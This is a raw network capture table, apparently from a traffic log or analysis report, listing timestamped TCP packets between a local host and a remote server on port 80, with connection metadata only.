Oct 25, 2024 01:27:23.397177935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397203922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397211075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397239923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397248030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397269964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397301912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397305012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397305012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397336006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397344112 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397368908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397403002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397408962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397435904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397469997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397475958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397475958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397506952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397540092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397552967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397572994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397607088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397609949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397609949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397640944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397648096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397675037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397703886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397708893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397722960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397743940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397775888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397777081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397799969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397809982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397844076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397850990 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397876978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397897959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397911072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397922039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397947073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397974014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397989988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.398078918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.398113966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.398147106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.398158073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.398180962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.398186922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.398215055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.398224115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.398271084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.407578945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.407955885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.499911070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.499939919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.499975920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500013113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500039101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500067949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500086069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500102043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500111103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500119925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500144958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500154018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500163078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500176907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500180006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500195026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500205040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500212908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500227928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500231028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500247002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500247955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500261068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500271082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500282049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500296116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500298977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500313044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500323057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500356913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500359058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500374079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500395060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500397921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500410080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500413895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500430107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500439882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500446081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500463009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500473022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500478029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500492096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500519991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500524044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500560999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500579119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500592947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500608921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500612974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500626087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500627995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500649929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500663996 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500678062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500691891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500706911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500710011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500724077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500726938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500741005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500750065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500758886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500765085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500775099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500790119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500798941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500803947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500821114 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500854969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500869989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500885010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500905991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500907898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500919104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500932932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500940084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500952959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500973940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500976086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.500992060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.500993013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501008987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501010895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501027107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501040936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501053095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501068115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501084089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501089096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501101017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501108885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501117945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501120090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501137018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501152039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501163960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501179934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501197100 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501198053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501214981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501218081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501230955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501231909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501244068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501246929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501266003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501282930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501311064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501322985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501332998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501341105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501348972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501355886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501365900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501372099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501379013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501386881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501394987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501405001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501411915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501420975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501429081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501480103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501493931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501502991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501511097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501527071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501535892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501555920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501602888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501617908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501636982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501636982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501653910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501669884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501672029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501687050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501698017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501713037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501720905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501740932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501754045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501765966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501780987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501799107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501815081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501836061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501852036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501868010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501876116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501883984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501893997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501907110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501926899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.501966000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501981974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.501996994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502012968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502012968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502027988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502028942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502044916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502047062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502060890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502064943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502077103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502095938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502100945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502120018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502120018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502135992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502151966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502160072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502171993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502176046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502192020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502194881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502207041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502223015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502223969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502238035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502247095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502254963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502274990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502275944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502290010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502300024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502306938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502324104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502327919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502341032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502352953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502356052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502373934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502398014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502428055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502444029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502459049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502461910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502475977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502479076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502491951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502496004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502507925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502512932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502523899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502528906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502540112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502542973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502559900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502566099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502573013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502580881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502599001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502608061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502614975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502621889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502631903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502638102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502648115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502654076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502671957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502672911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502687931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502691031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502705097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502710104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502722025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502722979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502737999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502737999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502753973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502754927 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502768993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502769947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502784967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502787113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502803087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502803087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502820015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502820015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502835989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502837896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502854109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502854109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502871037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502871037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502887011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502888918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502904892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502918959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502954960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502969980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.502986908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.502991915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.503000975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.503007889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.503024101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.503026009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.503041029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.503041983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.503057003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.503060102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.503072977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.503072977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.503091097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.503092051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.503106117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.503109932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.503124952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.503132105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.503140926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.503149986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.503168106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.503175974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.503180981 CEST	49711	80	192.168.2.6	185.215.113.37
